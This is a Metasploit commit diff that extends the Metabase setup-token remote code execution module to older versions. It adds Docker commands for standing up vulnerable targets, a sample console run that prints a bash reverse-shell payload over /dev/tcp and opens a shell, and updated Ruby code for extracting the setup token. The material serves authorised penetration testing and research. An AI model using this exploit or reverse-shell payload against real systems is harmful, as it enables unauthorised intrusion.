Land #19563, Update metabase setuptoken rce to support older versions

This commit is contained in:
cgranleese-r7
2024-10-17 10:42:26 +01:00
committed by GitHub
2 changed files with 30 additions and 8 deletions
@@ -7,12 +7,16 @@ When creating a new database, an H2 database string is created with a TRIGGER
that allows for code execution. We use a sample database for our connection
string to prevent corrupting real databases.
Successfully tested against Metabase 0.46.6.
Successfully tested against Metabase 0.46.6, 0.44.4, 0.42.1.
### Install
Example of impacted versions:
```
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker run --rm -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker run --rm -p 3000:3000 --name metabase metabase/metabase:v0.44.4
docker run --rm -p 3000:3000 --name metabase metabase/metabase:v0.42.1
```
## Verification Steps
@@ -28,6 +32,24 @@ docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
## Scenarios
### Metabase 0.42.1 on Docker
```
msf6 exploit(linux/http/metabase_setup_token_rce) > run rhost=192.168.123.1 lhost=192.168.123.1 rport=3000
[*] Reloading module...
[+] bash -c '0<&30-;exec 30<>/dev/tcp/192.168.123.1/4444;sh <&30 >&30 2>&30'
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version Detected: 0.42.1
[+] Found setup token: e02ce681-0cf7-416f-a205-75656b168b4c
[*] Sending exploit (may take a few seconds)
[*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.1:58422) at 2024-10-17 09:59:25 +0100
whoami
metabase
```
### Metabase 0.46.6 on Docker
```
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
that allows for code execution. We use a sample database for our connection
string to prevent corrupting real databases.
Successfully tested against Metabase 0.46.6.
Successfully tested against Metabase 0.46.6, 0.44.4, 0.42.1.
},
'License' => MSF_LICENSE,
'Author' => [
@@ -62,10 +62,10 @@ class MetasploitModule < Msf::Exploit::Remote
)
end
def get_bootstrap_json_blob_from_html_resp(html)
%r{<script type="application/json" id="_metabaseBootstrap">([^>]+)</script>} =~ html
def get_bootstrap_json_blob_from_html_resp(res)
metabase_bootstrap = res.get_html_document.xpath('//script[@id="_metabaseBootstrap"]').text
begin
JSON.parse(Regexp.last_match(1))
JSON.parse(metabase_bootstrap)
rescue JSON::ParserError, TypeError
print_bad('Unable to parse JSON blob')
nil
@@ -81,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
json = get_bootstrap_json_blob_from_html_resp(res.body)
json = get_bootstrap_json_blob_from_html_resp(res)
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response, unable to load JSON blob") if json.nil?
version = json.dig('version', 'tag')
return CheckCode::Unknown("#{peer} - Unable to determine version from JSON blob") if version.nil?
@@ -103,7 +103,7 @@ class MetasploitModule < Msf::Exploit::Remote
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
json = get_bootstrap_json_blob_from_html_resp(res.body)
json = get_bootstrap_json_blob_from_html_resp(res)
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response, unable to load JSON blob") if json.nil?
setup_token = json['setup-token']
if setup_token.nil?